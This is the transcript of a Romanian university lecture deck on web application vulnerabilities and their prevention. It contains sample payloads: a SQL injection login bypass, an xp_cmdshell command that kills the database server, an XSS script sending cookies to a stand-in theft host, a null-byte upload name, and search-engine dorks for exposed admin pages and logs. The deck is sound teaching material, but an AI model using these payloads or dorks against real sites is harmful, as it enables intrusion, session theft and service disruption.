Post on 30-May-2015
description
transcript
vulnerabilitatileaplicatiilor web
Dr. Sabin Buraga
www.purl.org/net/busaco
@busaco
“Ceea ce se vede pe un obiecteste alt obiect ascuns.”
René Magritte
ce inseamna securitatea datelor?
securitatea este procesul de mentinerea unui nivel acceptabil de risc perceptibil
security is a process, not an end state
Mitch Kabay
securitatea datelor
confidentialitateaautentificareaautorizareaintegritatea
nerepudiereaintimitatea (privacy)
disponibilitatea
confidentialitatea
imposibilitatea unei terte entitati sa aiba accesla datele vehiculate intre doi receptori
autentificarea
presupune verificarea identitatii utilizatorului
autentificarea
presupune verificarea identitatii utilizatorului
uzual, pe baza de nume + parola
autorizarea
specifica actiunile (rolurile) pe care un utilizatorle poate realiza intr-un anumit context
autorizarea
asociata autentificarii
integritatea
implica detectarea incercarilor de modificareneautorizata a datelor transmise
nerepudierea
asigura ca expeditorul unui mesaj nu poate afirmaca nu l-a trimis
disponibilitatea
o anumita resursa este necesar sa poata fi accesatala momentul oportun
intimitatea
vizeaza drepturile ce trebuie respectateprivind caracterul (subiectul) datelor vehiculate
intimitatea
confundata, deseori, cu confidentialitatea
securitatea webtrebuie sa ia in consideratie
clientul
interactiunea cu utilizatorul
datele personale stocate:cookie-uri, date off-line, cache etc.
transferurile asincronevia Ajax/Comet
existenta plugin-urilor si/sauextensiilor suspecte
…
securitatea webtrebuie sa ia in consideratie
datele in tranzit
securitatea retelei schimbul sigur de mesaje intre diverse entitati
ne-repudierea datelor…
securitatea webtrebuie sa ia in consideratie
serverul
securitatea serverului/serverelor Websecuritatea aplicatiilor
disponibilitatea serviciilor
securitatea webtrebuie sa ia in consideratie
clientuldatele in tranzit
serverul
securitatea webtrebuie sa ia in consideratie
clientuldatele in tranzit
serverul
atacurile pot viza oricare din cele 3 aspecte!
vulnerabilitati
slabiciuni ale unui sistemhardware/software ce permit
utilizatorilor neautorizatisa aiba acces asupra lui
vulnerabilitati
slabiciuni ale unui sistemhardware/software ce permit
utilizatorilor neautorizatisa aiba acces asupra lui
pot aparea si datoritaproastei administrari
nici un sistem nu este 100% sigur
modus operandi
1examinarea mediului
identificarea serviciilor publice
descoperireatipurilor + versiunilor aplicatiilor
generarea de erori &examinarea mesajelor obtinute
gasirea de informatii sensibile:cod-sursa, comentarii,
cimpuri ascunse ale formularelor,…
modus operandi
2stabilirea tintei atacului
mecanismul de autentificare (login)
cimpurile de intrare ale formularelor web
managementul sesiunilor
infrastructura folosita:serverele de stocare a datelor,
serviciile aditionale – e.g., proxy,…
care sunt cele mai uzuale tipuri de atacuri?
la nivel de HTTP
analizarea pachetelor de date (network sniffing)
functioneaza pentru fluxuri de dateHTTP necriptate
Wireshark – consultarea datelor transmise in retea
la nivel de HTTP
analizarea pachetelor de date (network sniffing)
solutie de prevenire:HTTPS
folosirea HTTP peste (W)TLS(Wireless) Transport Layer Security
la nivel de HTTP
deturnarea sesiunilor (session hijacking)
atacatorul determina SID-ul utilizatorului si il foloseste in scop propriu
la nivel de HTTP
deturnarea sesiunilor (session hijacking)
analizarea campului Refererdintr-un mesaj de cerere HTTP
Referer:https://www.ebank.info/view/account?id=98755&jsessid=BAC13606AC22B81E5137F45F95EE7573
la nivel de HTTP
deturnarea sesiunilor (session hijacking)
solutii de prevenire:
eliminarea SID-ului din URLstocarea SID-ului in campul User-Agent
utilizarea unui SID variabil
SQL injection
scrierea unor interogari SQL care permit afisarea, alterarea, stergerea de date din baze de datevia formulare web ori direct, folosind URL-uri
SQL injection
select * from customerswhere name=$name and pass=$pass
$name preluat din formular,cu valoarea '' or 1=1 --
SQL injection
http://e-bankk.org/clients.php?client=3
in programul PHP exista:
select credit_card from clientswhere client=$client
SQL injection
http://e-bankk.org/clients.php?client=3
in programul PHP exista:
select credit_card from clientswhere client=$client
ce se intimpla daca URI-ul estehttp://e-bankk.org/clients.php?client=client ?
SQL injection
variatie:crearea de interogari SQL incorecte
pentru obtinerea de mesaje de eroare “interesante”
SQL injection
http://www.phunds.biz/search?id=1+OR+gh=1
SQL injection
http://www.phunds.biz/search?id=1+OR+gh=1
atacatorul poate obtine un mesaj precum:
[Microsoft][ODBC SQL Server Driver] [SQL Server] Invalid column name ’gh’.
SELECT group_id, securityName, maxSalesCharge, price, security_id, trade_date FROM fundsWHERE group_id = 1 OR gh=1 ORDER BY price DESC
SQL injection
solutii de prevenire:
neutralizarea meta-caracterelor SQLprepared statements
utilizarea de framework-uri ORM (Object-Relational Mapping)
recurgerea la proceduri stocate…
SQL injection
$sql = "select * from userswhere user = '" . $user . "'";
$rezultat = db_query ("select * from users where user = ?", $user);
incorect
corect
SQL injection + command injection
utilizarea SQL pentru executia de comenzila nivel de shell
din cadrul serverului de baze de date
SQL injection + command injection
SELECT * FROM users WHERE name = 'tuxy' ANDpass = ' '; xp_cmdshell 'taskkill /F /IM
sqlservr.exe' --'
poisonous null-byte attack
folosirea caracterului NULLpentru plasarea de script-uri pe server
ce ulterior pot fi executate
poisonous null-byte attack
atacatorul realizeaza upload-ulunei “imagini” – img.php%00.jpg
“Thank you! See your picture at img.php”
XSS: cross-site scripting
“injectarea”, pentru executia directin navigatorul web, de cod JavaScript
XSS: cross-site scripting
a se vizita si http://ha.ckers.org/xss.html
pentru exemple reale,a se consulta http://xssed.com/
XSS: cross-site scripting
functioneaza mai ales in cadrulsiturilor web interactive:
forumuri, blog-uri, wiki-uri,…
XSS: cross-site scripting
poate conduce sila furtul identitatii (phishing)
sau la plasarea de cod malware la client: CSRF – Cross-Site Request Forgery
in contextul mash-up-urilor, mai ales
XSS: cross-site scripting
<img src="javascript:cod" />
un atacator poate redirectiona utilizatorulspre alt sit, poate preia valori de cookie-uri
ori poate bloca navigatorul web
XSS: cross-site scripting
<script type="text/javascript">document.location.replace (
"http://phurt-uri.org/furt.php" + "?c=" + document.cookie);
</script>
furtul de cookie-uri (hijacking cookies)
clickjacking
folosirea de cod JavaScript pentrua modifica textul redat de navigatorul web
utilizatorului sau pentru a manipulautilizatorul sa viziteze legaturi ascunse
http://jeremiahgrossman.blogspot.com/2008/09/cancelled-clickjacking-owasp-appsec.html
tabnabbing
recurgerea la cod JavaScript pentru a generaintr-un tab al navigatorului o replica
a unui formular de autentificarela un serviciu notoriu – e.g., Facebook, GMail
http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/
exemplu real
pe baza unei vulnerabilitati XSS in filtrul HTMLal MySpace, atunci cind un utilizator vizualiza
profilul lui Tuxy, codul JavaScript il facea automatprieten al lui Tuxy + recurgea la Ajax pentrua insera script-ul malefic in profilul curent
social network worm
dupa 20 de ore, 1005831 cereriMySpace s-a “prabusit”
exemplu real
Google UTF-7 holepaginile 404 oferite de Google nu specificau
codul de caractere utilizat
atacurile XSS codificate ca UTF-7 puteau fi accesatesi executate in cadrul Internet Explorer
http://shiflett.org/blog/2005/dec/googles-xss-vulnerability
probleme cauzate de URI/IRI-uri
inducerea in eroare a utilizatorului
exemplu:
http://www.google.com@63.241.3.69/
probleme cauzate de URI/IRI-uri
codificarea defectuoasaa codurilor hexa
vulnerabilitati la unele servere web
probleme cauzate de URI/IRI-uri
siturile avind domenii internationale(IDN – International Domain Names)atacuri bazate pe homografie
adobe.com ≠ adobe.com
troienii web
situri/aplicatii web aparent folositoare,la care utilizatorul poate ajunge eventual
via redirectare automata
troienii web
extensii sau plug-in-uri care includ cod malitios
troienii web
suplimentar, pot recurge la XSS/CSRFsau la tehnici de tip social engineering
detectarea posibilelor vulnerabilitati– datorate unor configuratii incorecte ori
implicite ale serverelor si/sau aplicatiilor web –se poate realiza apeland la un motor de cautare
detectia versiunilor de softwarecu bug-uri cunoscute
"Apache/2.0.52 server at"
accesul la fisiere .bakinurl:index.php.bak
detectarea paginilor de administrare"admin login "
gasirea unor instalari impliciteintitle:"welcome to" intitle:internet IIS
localizarea interfetelor spre sistemelede baze de date
inurl:main.php phpMyAdmin
cautarea de aplicatii instalate oria fisierelor de jurnalizare
inurl:error.log +filetype:log –cvs
cautarea unor mesaje de eroare generatede aplicatii ori de servere de baze de date"ASP.NET_SessionId" "data source="
vezi si proiectul “Google Hack” Honeypot
http://ghh.sourceforge.net/
securitatea unei aplicatii web
trebuie sa ia in consideratiearhitectura,
logica (functionalitatea),codul-sursa si
continutulin ansamblu
securitatea unei aplicatii web
nu vizeaza vulnerabilitatile sistemului de operareori ale programelor auxiliare
tipuri de vulnerabilitati web tipice
probleme de autentificare
managementul sesiunilor
injectarea de script-uri (XSS)ori comenzi SQL
tipuri de vulnerabilitati web tipice
expunerea – involuntara – a informatiilor“delicate” (information disclosure)
accesul la codul-sursa orila fisierele de configurare a aplicatiei web
managementul incorectal configuratiei aplicatiei
reguli/bune practici (Sverre Huseby, 2004)
do not underestimate the power of the dark side
reguli/bune practici (Sverre Huseby, 2004)
use POST requests when actions have side effects
reguli/bune practici (Sverre Huseby, 2004)
in a server-side context,there is no such thing as client-side security
reguli/bune practici (Sverre Huseby, 2004)
always generate a new session IDonce the user logs in
reguli/bune practici (Sverre Huseby, 2004)
never pass detailed error messages to the client
reguli/bune practici (Sverre Huseby, 2004)
identify every possible meta-characterto a subsystem
reguli/bune practici (Sverre Huseby, 2004)
when possible,pass data separate from control information
reguli/bune practici (Sverre Huseby, 2004)
do not blindly trust the API documentation
reguli/bune practici (Sverre Huseby, 2004)
identify all sources of input to the application
reguli/bune practici (Sverre Huseby, 2004)
when filtering data,use white-listing rather than black-listing
reguli/bune practici (Sverre Huseby, 2004)
create application-level logs
reguli/bune practici (Sverre Huseby, 2004)
never use client-side scripts for security
reguli/bune practici (Sverre Huseby, 2004)
pass as little internal state information as possibleto the client
reguli/bune practici (Sverre Huseby, 2004)
don’t assume that requests will comein a certain order
reguli/bune practici (Sverre Huseby, 2004)
filter all data before including them in a web page,no matter what the origin
reguli/bune practici (Sverre Huseby, 2004)
stick to existing cryptographic algorithms,do not create your own
reguli/bune practici (Sverre Huseby, 2004)
never store clear-text passwords
reguli/bune practici (Sverre Huseby, 2004)
assume that server-side code is availableto attackers
reguli/bune practici (Sverre Huseby, 2004)
security is not a product; it is a process
http://planet-websecurity.org/feed/
http://www.owasp.org/
http://simonwillison.net/tags/security/